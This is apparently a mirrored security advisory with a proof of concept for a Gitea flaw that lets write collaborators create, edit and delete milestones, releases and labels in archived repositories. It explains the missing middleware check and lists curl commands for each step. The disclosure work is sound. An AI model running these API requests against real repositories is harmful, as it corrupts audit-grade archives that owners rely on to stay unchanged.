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CVE-2026-116296 — Proof-of-concept and technical analysis for CVE-2026-116296, a Gitea archived-repository write-protection bypass allowing milestone, release, and label modification via API. | Kitploit
Tools/GitHubGitHub/thalewalan/cve-2026-116296
Authentication & AuthorizationVulnerability AnalysisExploitationWeb SecurityAPI Security
GitHubthalewalan/cve-2026-116296

CVE-2026-116296

Proof-of-concept and technical analysis for CVE-2026-116296, a Gitea archived-repository write-protection bypass allowing milestone, release, and label modification via API.

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CVE-2026-116296 — Gitea Archived Repository Write-Protection Bypass

CVE GHSA Severity CWE Affected Researcher


Discovered and reported by: Thinul Bopearachchi (@thalewalan) — BL4CK_KN1GHT & Yusufbek10 (independent discovery, same day)
Status: Patched — upgrade to Gitea v28.2.1 or later
Disclosure type: Responsible disclosure via GitHub Security Advisory


Summary

Gitea's repository archiving feature is intended to make a repository permanently read-only — preventing any modifications to its content or project metadata. However, in Gitea ≤ v28.2.0, users with write-collaborator access to an archived repository could still create, modify, and delete milestones, releases, and labels through the API, completely bypassing the archival immutability guarantee.

While PR #39839 (shipped in v28.2.0) added mustNotBeArchived middleware to protect Issues, Wikis, and Comments, it missed several other mutating API routes — leaving Milestones, Releases, and Labels unguarded. This is a classic "sibling gap" in an incomplete security patch.


Vulnerability Details

FieldValue
CVE IDCVE-2026-116296
GHSAGHSA-6h2f-c8jm-84hc
CWECWE-862: Missing Authorization
Affected versionsGitea ≤ v28.2.0
Patched versionv28.2.1+
SeverityHigh (8.1)
Attack vectorNetwork
Privileges requiredLow (write collaborator)
User interactionNone
ReportersThinul Bopearachchi — BL4CK_KN1GHT (@thalewalan) & Yusufbek10

Technical Root Cause

Gitea uses a middleware function mustNotBeArchived in routers/api/v1/api.go to block write operations on archived repositories. PR #39839, merged in v28.2.0, applied this middleware to Issues, Wikis, Comments, and some other routes — but completely omitted Milestones, Releases, and Labels.

Protected routes (v28.2.0) ✅

// Wiki — correctly protected
m.Patch(mustNotBeArchived, reqToken(), reqRepoWriter(unit.TypeWiki), ...)
m.Post("/new", reqToken(), mustNotBeArchived, reqRepoWriter(unit.TypeWiki), ...)

// Projects — correctly protected
m.Group("/projects", func() {
    addProjectRoutes(m, reqToken(), reqRepoWriter(unit.TypeProjects), mustNotBeArchived)
}, ...)

Unprotected routes (v28.2.0) ❌

// Milestones — NO mustNotBeArchived
m.Group("/milestones", func() {
    m.Combo("").Get(repo.ListMilestones).
        Post(reqToken(), reqRepoWriter(...), bind(...), repo.CreateMilestone)
    m.Combo("/{id}").Get(repo.GetMilestone).
        Patch(reqToken(), reqRepoWriter(...), bind(...), repo.EditMilestone).
        Delete(reqToken(), reqRepoWriter(...), repo.DeleteMilestone)
})

The mustNotBeArchived middleware simply checks ctx.Repo.Repository.IsArchived and returns 403 Forbidden if true. Its absence on milestone, release, and label routes means the check is never performed, and the database write proceeds regardless of archive status.


Impact

An attacker with write-collaborator access to an archived Gitea repository can:

  • Inject fake milestones — plant fabricated project milestones into an immutable historical archive, corrupting the project's documented timeline
  • Destroy real milestones — permanently delete milestones, orphaning all issues that referenced them and destroying project history context
  • Tamper with releases — modify or delete published release entries that users and downstream tools rely on
  • Modify labels — alter label definitions, breaking issue categorisation and filtering across the repository

Archived repositories are specifically used as audit-grade snapshots — compliance records, end-of-project archives, and immutable references. This bypass renders those guarantees void for all project management metadata.


Proof of Concept

⚠️ For educational purposes only. Test exclusively against repositories you own in an isolated environment.

Prerequisites

  • A Gitea instance ≤ v28.2.0
  • A repository that has been archived (Settings → Danger Zone → Archive)
  • An API token with write access to that repository

Setup

TARGET="http://localhost:3000"
TOKEN="<your-api-token>"
OWNER="victim_admin"
REPO="archived-target"

Step 1 — Confirm the repository is archived

curl -s "$TARGET/api/v1/repos/$OWNER/$REPO" \
  -H "Authorization: token $TOKEN" | jq '.archived'
# Expected: true

Step 2 — Create a milestone in the archived repo

curl -v -X POST "$TARGET/api/v1/repos/$OWNER/$REPO/milestones" \
  -H "Authorization: token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"title": "Archive Bypass Test", "description": "Created via API after archive"}'

Expected response (vulnerable): HTTP/1.1 201 Created
Expected response (patched): HTTP/1.1 403 Forbidden

Step 3 — Edit the milestone

curl -v -X PATCH "$TARGET/api/v1/repos/$OWNER/$REPO/milestones/1" \
  -H "Authorization: token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"title": "TAMPERED VIA API"}'

Expected response (vulnerable): HTTP/1.1 200 OK

Step 4 — Delete the milestone

curl -v -X DELETE "$TARGET/api/v1/repos/$OWNER/$REPO/milestones/1" \
  -H "Authorization: token $TOKEN"

Expected response (vulnerable): HTTP/1.1 204 No Content

All three operations succeed on an archived repository — demonstrating full create/edit/delete access to project metadata that should be immutable.


Timeline

DateEvent
Oct 23, 2026Vulnerability discovered and live-reproduced on Gitea v28.1.0
Oct 23, 2026Submitted to Gitea security team via GitHub Security Advisory
Oct 31, 2026Added as collaborator — advisory accepted
Nov 1, 2026CVE-2026-116296 assigned, credited as Reporter
(patch date)Fixed in Gitea v28.2.1
Nov 1, 2026Public disclosure

References

  • 🔒 GHSA-6h2f-c8jm-84hc — Official Advisory
  • 🔧 PR #39839 — Incomplete patch that introduced the sibling gap
  • 📦 Gitea Releases
  • 🐛 CWE-862: Missing Authorization

Disclaimer

This vulnerability was discovered through independent security research and reported responsibly to the Gitea maintainers via their private security advisory process. All testing was performed exclusively on isolated local lab environments. No production systems were accessed or harmed. This disclosure is published after the vulnerability has been accepted and credited by the Gitea security team.


Found independently by @thalewalan (BL4CK_KN1GHT) & Yusufbek10 · Reported Oct 23, 2026 · CVE-2026-116296

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